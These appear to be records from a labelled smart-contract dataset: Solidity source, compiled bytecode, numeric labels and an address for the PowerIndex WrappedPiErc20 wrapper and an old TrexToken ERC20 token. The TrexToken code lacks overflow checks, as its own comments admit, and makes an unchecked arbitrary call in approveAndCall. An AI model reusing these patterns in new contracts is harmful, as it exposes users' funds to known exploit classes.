* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/interfaces/PowerIndexNaiveRouterInterface.sol
pragma solidity 0.6.12;
interface PowerIndexNaiveRouterInterface {
function migrateToNewRouter(
address _piToken,
address payable _newRouter,
address[] memory _tokens
) external;
function piTokenCallback(address sender, uint256 _withdrawAmount) external payable;
}
// File: contracts/interfaces/PowerIndexBasicRouterInterface.sol
pragma solidity 0.6.12;
interface PowerIndexBasicRouterInterface {
function setVotingAndStaking(address _voting, address _staking) external;
function setReserveConfig(uint256 _reserveRatio, uint256 _claimRewardsInterval) external;
function getPiEquivalentForUnderlying(
uint256 _underlyingAmount,
IERC20 _underlyingToken,
uint256 _piTotalSupply
) external view returns (uint256);
function getPiEquivalentForUnderlyingPure(
uint256 _underlyingAmount,
uint256 _totalUnderlyingWrapped,
uint256 _piTotalSupply
) external pure returns (uint256);
function getUnderlyingEquivalentForPi(
uint256 _piAmount,
IERC20 _underlyingToken,
uint256 _piTotalSupply
) external view returns (uint256);
function getUnderlyingEquivalentForPiPure(
uint256 _piAmount,
uint256 _totalUnderlyingWrapped,
uint256 _piTotalSupply
) external pure returns (uint256);
}
// File: contracts/interfaces/WrappedPiErc20Interface.sol
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface WrappedPiErc20Interface is IERC20 {
function deposit(uint256 _amount) external payable returns (uint256);
function withdraw(uint256 _amount) external payable returns (uint256);
function changeRouter(address _newRouter) external;
function setEthFee(uint256 _newEthFee) external;
function withdrawEthFee(address payable receiver) external;
function approveUnderlying(address _to, uint256 _amount) external;
function callExternal(
address voting,
bytes4 signature,
bytes calldata args,
uint256 value
) external;
struct ExternalCallData {
address destination;
bytes4 signature;
bytes args;
uint256 value;
}
function callExternalMultiple(ExternalCallData[] calldata calls) external;
function getUnderlyingBalance() external view returns (uint256);
}
// File: contracts/powerindex-router/WrappedPiErc20.sol
pragma solidity 0.6.12;
contract WrappedPiErc20 is ERC20, ReentrancyGuard, WrappedPiErc20Interface {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public immutable underlying;
address public router;
uint256 public ethFee;
event Deposit(address indexed account, uint256 undelyingDeposited, uint256 piMinted);
event Withdraw(address indexed account, uint256 underlyingWithdrawn, uint256 piBurned);
event Approve(address indexed to, uint256 amount);
event ChangeRouter(address indexed newRouter);
event SetEthFee(uint256 newEthFee);
event WithdrawEthFee(uint256 value);
event CallExternal(address indexed destination, bytes4 indexed inputSig, bytes inputData, bytes outputData);
modifier onlyRouter() {
require(router == msg.sender, "ONLY_ROUTER");
_;
}
constructor(
address _token,
address _router,
string memory _name,
string memory _symbol
) public ERC20(_name, _symbol) {
underlying = IERC20(_token);
router = _router;
}
/**
* @notice Deposits underlying token to the piToken
* @param _depositAmount The amount to deposit in underlying tokens
*/
function deposit(uint256 _depositAmount) external payable override nonReentrant returns (uint256) {
require(msg.value >= ethFee, "FEE");
require(_depositAmount > 0, "ZERO_DEPOSIT");
uint256 mintAmount = getPiEquivalentForUnderlying(_depositAmount);
require(mintAmount > 0, "ZERO_PI_FOR_MINT");
underlying.safeTransferFrom(_msgSender(), address(this), _depositAmount);
_mint(_msgSender(), mintAmount);
emit Deposit(_msgSender(), _depositAmount, mintAmount);
PowerIndexNaiveRouterInterface(router).piTokenCallback{ value: msg.value }(msg.sender, 0);
return mintAmount;
}
/**
* @notice Withdraws underlying token from the piToken
* @param _withdrawAmount The amount to withdraw in underlying tokens
*/
function withdraw(uint256 _withdrawAmount) external payable override nonReentrant returns (uint256) {
require(msg.value >= ethFee, "FEE");
require(_withdrawAmount > 0, "ZERO_WITHDRAWAL");
PowerIndexNaiveRouterInterface(router).piTokenCallback{ value: msg.value }(msg.sender, _withdrawAmount);
uint256 burnAmount = getPiEquivalentForUnderlying(_withdrawAmount);
require(burnAmount > 0, "ZERO_PI_FOR_BURN");
_burn(_msgSender(), burnAmount);
underlying.safeTransfer(_msgSender(), _withdrawAmount);
emit Withdraw(_msgSender(), _withdrawAmount, burnAmount);
return burnAmount;
}
function getPiEquivalentForUnderlying(uint256 _underlyingAmount) public view returns (uint256) {
return
PowerIndexBasicRouterInterface(router).getPiEquivalentForUnderlying(_underlyingAmount, underlying, totalSupply());
}
function getUnderlyingEquivalentForPi(uint256 _piAmount) public view returns (uint256) {
return PowerIndexBasicRouterInterface(router).getUnderlyingEquivalentForPi(_piAmount, underlying, totalSupply());
}
function balanceOfUnderlying(address account) external view returns (uint256) {
return getUnderlyingEquivalentForPi(balanceOf(account));
}
function totalSupplyUnderlying() external view returns (uint256) {
return getUnderlyingEquivalentForPi(totalSupply());
}
function changeRouter(address _newRouter) external override onlyRouter {
router = _newRouter;
emit ChangeRouter(router);
}
function setEthFee(uint256 _ethFee) external override onlyRouter {
ethFee = _ethFee;
emit SetEthFee(_ethFee);
}
function withdrawEthFee(address payable _receiver) external override onlyRouter {
emit WithdrawEthFee(address(this).balance);
_receiver.transfer(address(this).balance);
}
function approveUnderlying(address _to, uint256 _amount) external override onlyRouter {
underlying.approve(_to, _amount);
emit Approve(_to, _amount);
}
function callExternal(
address _destination,
bytes4 _signature,
bytes calldata _args,
uint256 _value
) external override onlyRouter {
_callExternal(_destination, _signature, _args, _value);
}
function callExternalMultiple(ExternalCallData[] calldata _calls) external override onlyRouter {
uint256 len = _calls.length;
for (uint256 i = 0; i < len; i++) {
_callExternal(_calls[i].destination, _calls[i].signature, _calls[i].args, _calls[i].value);
}
}
function getUnderlyingBalance() external view override returns (uint256) {
return underlying.balanceOf(address(this));
}
function _callExternal(
address _destination,
bytes4 _signature,
bytes calldata _args,
uint256 _value
) internal {
(bool success, bytes memory data) = _destination.call{ value: _value }(abi.encodePacked(_signature, _args));
if (!success) {
assembly {
let output := mload(0x40)
let size := returndatasize()
switch size
case 0 {
// If there is no revert reason string, revert with the default `REVERTED_WITH_NO_REASON_STRING`
mstore(output, 0x08c379a000000000000000000000000000000000000000000000000000000000) // error identifier
mstore(add(output, 0x04), 0x0000000000000000000000000000000000000000000000000000000000000020) // offset
mstore(add(output, 0x24), 0x000000000000000000000000000000000000000000000000000000000000001e) // length
mstore(add(output, 0x44), 0x52455645525445445f574954485f4e4f5f524541534f4e5f535452494e470000) // reason
revert(output, 100) // 100 = 4 + 3 * 32 (error identifier + 3 words for the ABI encoded error)
}
default {
// If there is a revert reason string hijacked, revert with it
revert(add(data, 32), size)
}
}
}
emit CallExternal(_destination, _signature, _args, data);
}
} | 0x60806040526004361061019c5760003560e01c806370a08231116100ec578063ce50c7561161008a578063e2c6743911610064578063e2c6743914610471578063e57ae51714610486578063f887ea40146104a6578063fea61faa146104bb5761019c565b8063ce50c75614610411578063d1e40b5514610431578063dd62ed3e146104515761019c565b8063a9059cbb116100c6578063a9059cbb1461039e578063b54c4753146103be578063b6b55f25146103de578063b85cefc9146103f15761019c565b806370a082311461034957806395d89b4114610369578063a457c2d71461037e5761019c565b8063340ac20f116101595780633f6738a9116101335780633f6738a9146102d25780634cf1115d146102f25780636dd2f37c146103075780636f307dc3146103275761019c565b8063340ac20f1461027057806339509351146102925780633af9e669146102b25761019c565b806306fdde03146101a1578063095ea7b3146101cc57806318160ddd146101f957806323b872dd1461021b5780632e1a7d4d1461023b578063313ce5671461024e575b600080fd5b3480156101ad57600080fd5b506101b66104d0565b6040516101c39190611b0f565b60405180910390f35b3480156101d857600080fd5b506101ec6101e73660046118fa565b610566565b6040516101c39190611abd565b34801561020557600080fd5b5061020e610583565b6040516101c39190611ec2565b34801561022757600080fd5b506101ec610236366004611825565b610589565b61020e6102493660046119d0565b610611565b34801561025a57600080fd5b506102636107bb565b6040516101c39190611ef8565b34801561027c57600080fd5b5061029061028b3660046117d1565b6107c4565b005b34801561029e57600080fd5b506101ec6102ad3660046118fa565b61083e565b3480156102be57600080fd5b5061020e6102cd3660046117d1565b61088c565b3480156102de57600080fd5b506102906102ed3660046119d0565b6108a0565b3480156102fe57600080fd5b5061020e61090a565b34801561031357600080fd5b5061020e6103223660046119d0565b610910565b34801561033357600080fd5b5061033c6109bc565b6040516101c39190611a6c565b34801561035557600080fd5b5061020e6103643660046117d1565b6109e0565b34801561037557600080fd5b506101b66109fb565b34801561038a57600080fd5b506101ec6103993660046118fa565b610a5c565b3480156103aa57600080fd5b506101ec6103b93660046118fa565b610ac4565b3480156103ca57600080fd5b5061020e6103d93660046119d0565b610ad8565b61020e6103ec3660046119d0565b610b16565b3480156103fd57600080fd5b5061029061040c3660046117d1565b610cba565b34801561041d57600080fd5b5061029061042c366004611925565b610d54565b34801561043d57600080fd5b5061029061044c366004611865565b610e49565b34801561045d57600080fd5b5061020e61046c3660046117ed565b610e87565b34801561047d57600080fd5b5061020e610eb2565b34801561049257600080fd5b506102906104a13660046118fa565b610f56565b3480156104b257600080fd5b5061033c611066565b3480156104c757600080fd5b5061020e611075565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561055c5780601f106105315761010080835404028352916020019161055c565b820191906000526020600020905b81548152906001019060200180831161053f57829003601f168201915b5050505050905090565b600061057a610573611082565b8484611086565b50600192915050565b60025490565b600061059684848461113a565b610606846105a2611082565b6106018560405180606001604052806028815260200161200a602891396001600160a01b038a166000908152600160205260408120906105e0611082565b6001600160a01b03168152602081019190915260400160002054919061124f565b611086565b5060015b9392505050565b60006002600654141561063f5760405162461bcd60e51b815260040161063690611e2b565b60405180910390fd5b60026006556008543410156106665760405162461bcd60e51b815260040161063690611c9d565b600082116106865760405162461bcd60e51b815260040161063690611e62565b600754604051637d52f48b60e01b81526001600160a01b0390911690637d52f48b9034906106ba9033908790600401611a80565b6000604051808303818588803b1580156106d357600080fd5b505af11580156106e7573d6000803e3d6000fd5b505050505060006106f783610910565b9050600081116107195760405162461bcd60e51b815260040161063690611c08565b61072a610724611082565b8261127b565b610766610735611082565b6001600160a01b037f0000000000000000000000006b3595068778dd592e39a122f4f5a5cf09c90fe216908561135d565b61076e611082565b6001600160a01b03167ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b56884836040516107a8929190611eea565b60405180910390a2600160065592915050565b60055460ff1690565b6007546001600160a01b031633146107ee5760405162461bcd60e51b815260040161063690611c32565b600780546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f9dd0d31c5942a38bf92491447ea9a3ca6ac9f7477f4fdb7492346525a78284bd90600090a250565b600061057a61084b611082565b84610601856001600061085c611082565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906113b8565b600061089a6103d9836109e0565b92915050565b6007546001600160a01b031633146108ca5760405162461bcd60e51b815260040161063690611c32565b60088190556040517f33e6be91f228f4ecdac5071e0080def67f51b16bd8c191dfe7e3439cc96bb73f906108ff908390611ec2565b60405180910390a150565b60085481565b6007546000906001600160a01b031663b41cae15837f0000000000000000000000006b3595068778dd592e39a122f4f5a5cf09c90fe261094e610583565b6040518463ffffffff1660e01b815260040161096c93929190611ecb565b60206040518083038186803b15801561098457600080fd5b505afa158015610998573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089a91906119e8565b7f0000000000000000000000006b3595068778dd592e39a122f4f5a5cf09c90fe281565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561055c5780601f106105315761010080835404028352916020019161055c565b600061057a610a69611082565b84610601856040518060600160405280602581526020016120326025913960016000610a93611082565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061124f565b600061057a610ad1611082565b848461113a565b6007546000906001600160a01b03166361bc8e3d837f0000000000000000000000006b3595068778dd592e39a122f4f5a5cf09c90fe261094e610583565b600060026006541415610b3b5760405162461bcd60e51b815260040161063690611e2b565b6002600655600854341015610b625760405162461bcd60e51b815260040161063690611c9d565b60008211610b825760405162461bcd60e51b815260040161063690611cba565b6000610b8d83610910565b905060008111610baf5760405162461bcd60e51b815260040161063690611b65565b610bec610bba611082565b6001600160a01b037f0000000000000000000000006b3595068778dd592e39a122f4f5a5cf09c90fe2169030866113dd565b610bfd610bf7611082565b826113fe565b610c05611082565b6001600160a01b03167f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a158483604051610c3f929190611eea565b60405180910390a2600754604051637d52f48b60e01b81526001600160a01b0390911690637d52f48b903490610c7c903390600090600401611a80565b6000604051808303818588803b158015610c9557600080fd5b505af1158015610ca9573d6000803e3d6000fd5b505060016006555091949350505050565b6007546001600160a01b03163314610ce45760405162461bcd60e51b815260040161063690611c32565b7f15662c623742fc431ec5e8f5f9043b7c827077b816521eb3a5a7c24473eec19747604051610d139190611ec2565b60405180910390a16040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610d50573d6000803e3d6000fd5b5050565b6007546001600160a01b03163314610d7e5760405162461bcd60e51b815260040161063690611c32565b8060005b81811015610e4357610e3b848483818110610d9957fe5b9050602002810190610dab9190611f52565b610db99060208101906117d1565b858584818110610dc557fe5b9050602002810190610dd79190611f52565b610de89060408101906020016119b4565b868685818110610df457fe5b9050602002810190610e069190611f52565b610e14906040810190611f06565b888887818110610e2057fe5b9050602002810190610e329190611f52565b606001356114b2565b600101610d82565b50505050565b6007546001600160a01b03163314610e735760405162461bcd60e51b815260040161063690611c32565b610e8085858585856114b2565b5050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6040516370a0823160e01b81526000906001600160a01b037f0000000000000000000000006b3595068778dd592e39a122f4f5a5cf09c90fe216906370a0823190610f01903090600401611a6c565b60206040518083038186803b158015610f1957600080fd5b505afa158015610f2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5191906119e8565b905090565b6007546001600160a01b03163314610f805760405162461bcd60e51b815260040161063690611c32565b60405163095ea7b360e01b81526001600160a01b037f0000000000000000000000006b3595068778dd592e39a122f4f5a5cf09c90fe2169063095ea7b390610fce9085908590600401611a80565b602060405180830381600087803b158015610fe857600080fd5b505af1158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190611994565b50816001600160a01b03167f90ec57f18fa7b15c6b8d5e4d1deb90796c74b2ff23d4d0cecad0cb42a96b31288260405161105a9190611ec2565b60405180910390a25050565b6007546001600160a01b031681565b6000610f516103d9610583565b3390565b6001600160a01b0383166110ac5760405162461bcd60e51b815260040161063690611d66565b6001600160a01b0382166110d25760405162461bcd60e51b815260040161063690611b8f565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061112d908590611ec2565b60405180910390a3505050565b6001600160a01b0383166111605760405162461bcd60e51b815260040161063690611d21565b6001600160a01b0382166111865760405162461bcd60e51b815260040161063690611b22565b6111918383836113b3565b6111ce81604051806060016040528060268152602001611fe4602691396001600160a01b038616600090815260208190526040902054919061124f565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546111fd90826113b8565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061112d908590611ec2565b600081848411156112735760405162461bcd60e51b81526004016106369190611b0f565b505050900390565b6001600160a01b0382166112a15760405162461bcd60e51b815260040161063690611ce0565b6112ad826000836113b3565b6112ea81604051806060016040528060228152602001611fc2602291396001600160a01b038516600090815260208190526040902054919061124f565b6001600160a01b03831660009081526020819052604090205560025461131090826115e9565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611351908590611ec2565b60405180910390a35050565b6113b38363a9059cbb60e01b848460405160240161137c929190611a80565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915261162b565b505050565b60008282018381101561060a5760405162461bcd60e51b815260040161063690611bd1565b610e43846323b872dd60e01b85858560405160240161137c93929190611a99565b6001600160a01b0382166114245760405162461bcd60e51b815260040161063690611e8b565b611430600083836113b3565b60025461143d90826113b8565b6002556001600160a01b03821660009081526020819052604090205461146390826113b8565b6001600160a01b0383166000818152602081905260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611351908590611ec2565b60006060866001600160a01b0316838787876040516020016114d693929190611a2c565b60408051601f19818403018152908290526114f091611a50565b60006040518083038185875af1925050503d806000811461152d576040519150601f19603f3d011682016040523d82523d6000602084013e611532565b606091505b509150915081611590576040513d80801561154e578160208501fd5b62461bcd60e51b835260206004840152601e60248401527f52455645525445445f574954485f4e4f5f524541534f4e5f535452494e4700006044840152606483fd5b856001600160e01b031916876001600160a01b03167f0f5c7afd652bed619c508171badaca3c2b8c33a010e9eb6152f715203f5c221f8787856040516115d893929190611ac8565b60405180910390a350505050505050565b600061060a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061124f565b6060611680826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166116ba9092919063ffffffff16565b8051909150156113b3578080602001905181019061169e9190611994565b6113b35760405162461bcd60e51b815260040161063690611de1565b60606116c984846000856116d1565b949350505050565b6060824710156116f35760405162461bcd60e51b815260040161063690611c57565b6116fc85611792565b6117185760405162461bcd60e51b815260040161063690611daa565b60006060866001600160a01b031685876040516117359190611a50565b60006040518083038185875af1925050503d8060008114611772576040519150601f19603f3d011682016040523d82523d6000602084013e611777565b606091505b5091509150611787828286611798565b979650505050505050565b3b151590565b606083156117a757508161060a565b8251156117b75782518084602001fd5b8160405162461bcd60e51b81526004016106369190611b0f565b6000602082840312156117e2578081fd5b813561060a81611f93565b600080604083850312156117ff578081fd5b823561180a81611f93565b9150602083013561181a81611f93565b809150509250929050565b600080600060608486031215611839578081fd5b833561184481611f93565b9250602084013561185481611f93565b929592945050506040919091013590565b60008060008060006080868803121561187c578081fd5b853561188781611f93565b9450602086013561189781611fab565b9350604086013567ffffffffffffffff808211156118b3578283fd5b818801915088601f8301126118c6578283fd5b8135818111156118d4578384fd5b8960208285010111156118e5578384fd5b96999598505060200195606001359392505050565b6000806040838503121561190c578182fd5b823561191781611f93565b946020939093013593505050565b60008060208385031215611937578182fd5b823567ffffffffffffffff8082111561194e578384fd5b818501915085601f830112611961578384fd5b81358181111561196f578485fd5b8660208083028501011115611982578485fd5b60209290920196919550909350505050565b6000602082840312156119a5578081fd5b8151801515811461060a578182fd5b6000602082840312156119c5578081fd5b813561060a81611fab565b6000602082840312156119e1578081fd5b5035919050565b6000602082840312156119f9578081fd5b5051919050565b60008151808452611a18816020860160208601611f67565b601f01601f19169290920160200192915050565b6001600160e01b031984168152600082846004840137910160040190815292915050565b60008251611a62818460208701611f67565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b901515815260200190565b600060408252836040830152838560608401378060608584010152601f19601f85011682016060838203016020840152611b056060820185611a00565b9695505050505050565b60006020825261060a6020830184611a00565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526010908201526f16915493d7d41257d193d497d352539560821b604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526010908201526f2d22a927afa824afa327a92fa12aa92760811b604082015260600190565b6020808252600b908201526a27a7262cafa927aaaa22a960a91b604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b60208082526003908201526246454560e81b604082015260600190565b6020808252600c908201526b16915493d7d1115413d4d25560a21b604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252600f908201526e16915493d7d5d2551211149055d053608a1b604082015260600190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b9283526001600160a01b03919091166020830152604082015260600190565b918252602082015260400190565b60ff91909116815260200190565b6000808335601e19843603018112611f1c578283fd5b83018035915067ffffffffffffffff821115611f36578283fd5b602001915036819003821315611f4b57600080fd5b9250929050565b60008235607e19833603018112611a62578182fd5b60005b83811015611f82578181015183820152602001611f6a565b83811115610e435750506000910152565b6001600160a01b0381168114611fa857600080fd5b50565b6001600160e01b031981168114611fa857600080fdfe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200b935c80a7b5814ad8bf20e48dc3de2e5e8c85e74d9564a51fc3eccb2615055a64736f6c634300060c0033 | [
5,
7,
11
] |
0xf350d365b25df661b2fadae137bc1415591fa635 | pragma solidity ^0.4.4;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract TrexToken is StandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// which means the following function name has to match the contract name declared above
function TrexToken() {
balances[msg.sender] = 6000000000000000000000000000;
totalSupply = 6000000000000000000000000000;
name = "TrexToken";
decimals = 18;
symbol = "TXT";
unitsOneEthCanBuy = 200000000;
fundsWallet = msg.sender;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 0x6080604052600436106100b65763ffffffff60e060020a60003504166306fdde038114610197578063095ea7b31461022157806318160ddd146102595780632194f3a21461028057806323b872dd146102b1578063313ce567146102db57806354fd4d501461030657806365f2bc2e1461031b57806370a0823114610330578063933ba4131461035157806395d89b4114610366578063a9059cbb1461037b578063cae9ca511461039f578063dd62ed3e14610408575b6008805434908101909155600754600954600160a060020a03166000908152602081905260409020549102908111156100ee57600080fd5b60098054600160a060020a0390811660009081526020818152604080832080548790039055338084529281902080548701905593548451868152945192949316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3600954604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610193573d6000803e3d6000fd5b5050005b3480156101a357600080fd5b506101ac61042f565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e65781810151838201526020016101ce565b50505050905090810190601f1680156102135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022d57600080fd5b50610245600160a060020a03600435166024356104bd565b604080519115158252519081900360200190f35b34801561026557600080fd5b5061026e610524565b60408051918252519081900360200190f35b34801561028c57600080fd5b5061029561052a565b60408051600160a060020a039092168252519081900360200190f35b3480156102bd57600080fd5b50610245600160a060020a0360043581169060243516604435610539565b3480156102e757600080fd5b506102f0610624565b6040805160ff9092168252519081900360200190f35b34801561031257600080fd5b506101ac61062d565b34801561032757600080fd5b5061026e610688565b34801561033c57600080fd5b5061026e600160a060020a036004351661068e565b34801561035d57600080fd5b5061026e6106a9565b34801561037257600080fd5b506101ac6106af565b34801561038757600080fd5b50610245600160a060020a036004351660243561070a565b3480156103ab57600080fd5b50604080516